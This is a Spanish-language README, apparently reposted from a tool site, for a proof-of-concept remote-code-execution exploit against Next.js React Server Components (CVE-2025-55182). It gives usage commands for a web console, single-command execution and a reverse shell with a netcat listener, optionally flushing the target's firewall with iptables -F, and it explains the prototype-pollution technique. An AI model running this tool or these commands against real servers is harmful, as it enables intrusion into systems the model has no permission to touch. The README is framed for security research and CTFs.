REACT2SHELL

🎯 Resumen rápido (¿Qué es esto?)

Esta herramienta es un exploit simple de Prueba de Concepto (PoC) para CVE-2025-55182. Es una falla grave (Prototype Pollution) encontrada en aplicaciones Next.js que utilizan React Server Components.

Si un servidor objetivo es vulnerable, este script te permite ejecutar comandos del sistema operativo en él (Ejecución Remota de Código, o RCE).

Esta herramienta está diseñada para el aprendizaje, CTFs e investigación de seguridad responsable.

⚠️ Aviso legal para estudiantes y jugadores de CTF

ÚSALO ÉTICAMENTE. Solo ejecuta este exploit contra sistemas que te pertenezcan o sobre los que tengas permiso explícito y documentado para probar. El uso no autorizado es ilegal. Esta herramienta es solo con fines educativos.

🌟 Cómo usarlo

Esta herramienta tiene tres formas principales de ejecutar comandos: un comando único simple, una consola web interactiva completa y un intento de reverse shell clásico.

⚙️ Instalación

1. Obtén el código:

   root@kitploit:~

   git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
   cd REACT2SHELL
   

2. Instala la librería:

   root@kitploit:~

   pip install requests
   

Modo 1: Consola web interactiva (Recomendado para CTFs)

Esta es la forma más fácil de interactuar con el objetivo. Inicia una página web local en tu máquina que actúa como una terminal.

1. Ejecuta el script:

   root@kitploit:~

   python3 exploit.py <TARGET_URL> --web-cli
   

   Ejemplo: python3 exploit.py http://target.com/ --web-cli

2. Abre tu navegador: El script te indicará que abras http://127.0.0.1:8000/. Luego puedes escribir comandos (como ls, whoami, cat /etc/passwd) directamente en la página web.

Modo 2: Ejecución de un comando único

Ejecuta un comando y obtén la salida inmediatamente en tu terminal local. Es útil para comprobaciones rápidas, como averiguar tu ID de usuario.

python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'

Ejemplo: python3 exploit.py http://target.com/ --cmd 'id'

Modo 3: Intento de reverse shell

Usa este modo si quieres una conexión estable y persistente. Nota: A menudo falla en entornos reales debido a los firewalls (filtrado de tráfico saliente).

1. Inicia tu listener (p. ej., netcat):

   root@kitploit:~

   nc -lvnp 55555
   

2. Ejecuta el exploit:

   root@kitploit:~

   python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
   

   • -i <YOUR_IP>: La IP de tu máquina.
   • -p 55555: El puerto que está usando tu listener.
   • --flush (Opcional): Intenta ejecutar iptables -F en el objetivo primero para limpiar los firewalls del host.

🔬 Explicación técnica (cómo funciona el exploit)

El exploit utiliza una falla de Prototype Pollution para lograr RCE.

1. Prototype Pollution: El script envía un payload especialmente diseñado a un endpoint vulnerable de Next.js. Este payload explota una falla en la forma en que el servidor procesa los datos, lo que nos permite agregar propiedades a la estructura básica de objetos de JavaScript (Object.prototype).
2. Disparador de RCE: Contaminamos una propiedad interna específica que controla qué código ejecuta el servidor (usando child_process de Node.js). Reemplazamos el valor de esa propiedad con nuestro comando de shell.
3. Captura de salida: Al ejecutar comandos en los modos de comando único o CLI web, el exploit hace que el servidor ejecute el comando (execSync) y lance inmediatamente un error inofensivo. La salida del comando se introduce inteligentemente en el campo digest del mensaje de error. Luego, el script de Python lee este campo para obtener los resultados.

🤝 Referencias y créditos

Esta investigación se basa en el trabajo inicial y la divulgación de la comunidad de seguridad. Gracias a todos los investigadores y colaboradores de código abierto.

📚 Referencias clave

• Repositorio PoC original para CVE-2025-55182 - (La base de este exploit.)
• Ejemplo de código PoC original - (El ejemplo de código inicial.)
• Vulnerabilidad de seguridad crítica en React Server Components - (Publicación oficial del blog de React sobre el problema.)
• Vulnerabilidad crítica en React (CVE-2025-55182) - (Análisis de seguridad detallado.)
• Documentación de React Server Functions - (Documentación oficial que explica el contexto de cómo funcionan los componentes vulnerables.)